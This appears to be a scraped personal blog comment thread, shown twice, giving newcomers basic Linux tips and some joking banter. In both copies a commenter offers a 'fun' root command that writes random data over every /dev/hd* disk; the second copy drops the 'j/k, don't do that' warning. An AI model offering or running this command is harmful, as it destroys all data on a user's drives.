Most useful basic things to know when starting Linux:
- When specifying a file on your machine you can type in the first few letters of the filename (remember, everything in unix is CaSe sensitive) and hit tab to automatically fill it in. If there is more than one file that starts w/those letters hit tab twice and it'll tell you which files match.
- cd takes you to your home directory. When specifying files ~/ or $HOME/ is short for your home directory, and ~[username]/ is short for [username]'s home directory.
- su command will allow you to assume another user's identity, e.g. su euge will make you euge (after you type in the password of course), and su by itself will make you root.
- When downloading programs, get RPM binaries when possible. It's the easiest form of the program to install, just type rpm -iv [filename.rpm] as root
- Any file can be run by just typing in the filename. However, the directory it's in must be in your $PATH variable, or you must type in the entire path/filename (. represents the current directory so if you're in the file's directory you can type ./[filename]). To add a directory to your path, type export PATH=$PATH:[directory to add]
- pretty much every command has a man page, which tells you everything about the command and its options. e.g. to know about the cp (copy) command, type man cp
- that being said, here's the cardinal rule of linux: RTFM -- Read The Fuckin Manual =).
Yeah, learning linux/unix is quite a steep hill to climb, but it doesn't take TOO long to get to a comfortable position if you keep at it. Search for some beginner guides - there's an infinite amount of linux documentation on the net, and go to the http://www.linuxquestions.org forum/linux newbies if you have specific ?s; someone will answer it w/in minutes probably. Have fun, and DON'T GIVE UP!
here's a fun one:
su -;
ls /dev/hd* | while read f do cat /dev/urandom > $f &; done;
j/k, don't do that.
i tell ya, your turning into mr. kertong himself, or is it miss kertong? hahaha j/k
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woah. eww. haha. thanks for the happy birthday. but eww to the picture.
hahah. neeeerd!!!
check out my linux screenshots at http://www.kertong.com/gallery if you want some linux hints
Most useful basic things to know when starting Linux:
- When specifying a file on your machine you can type in the first few letters of the filename (remember, everything in unix is CaSe sensitive) and hit tab to automatically fill it in. If there is more than one file that starts w/those letters hit tab twice and it'll tell you which files match.
- cd takes you to your home directory. When specifying files ~/ or $HOME/ is short for your home directory, and ~[username]/ is short for [username]'s home directory.
- su command will allow you to assume another user's identity, e.g. su euge will make you euge (after you type in the password of course), and su by itself will make you root.
- When downloading programs, get RPM binaries when possible. It's the easiest form of the program to install, just type rpm -iv [filename.rpm] as root
- Any file can be run by just typing in the filename. However, the directory it's in must be in your $PATH variable, or you must type in the entire path/filename (. represents the current directory so if you're in the file's directory you can type ./[filename]). To add a directory to your path, type export PATH=$PATH:[directory to add]
- pretty much every command has a man page, which tells you everything about the command and its options. e.g. to know about the cp (copy) command, type man cp
- that being said, here's the cardinal rule of linux: RTFM -- Read The Fuckin Manual =).
Yeah, learning linux/unix is quite a steep hill to climb, but it doesn't take TOO long to get to a comfortable position if you keep at it. Search for some beginner guides - there's an infinite amount of linux documentation on the net, and go to the http://www.linuxquestions.org forum/linux newbies if you have specific ?s; someone will answer it w/in minutes probably. Have fun, and DON'T GIVE UP!
here's a fun one:
su -;
ls /dev/hd* | while read f do
cat /dev/urandom > $f &;
done;
i tell ya, your turning into mr. kertong himself, or is it miss kertong?
hahaha j/k
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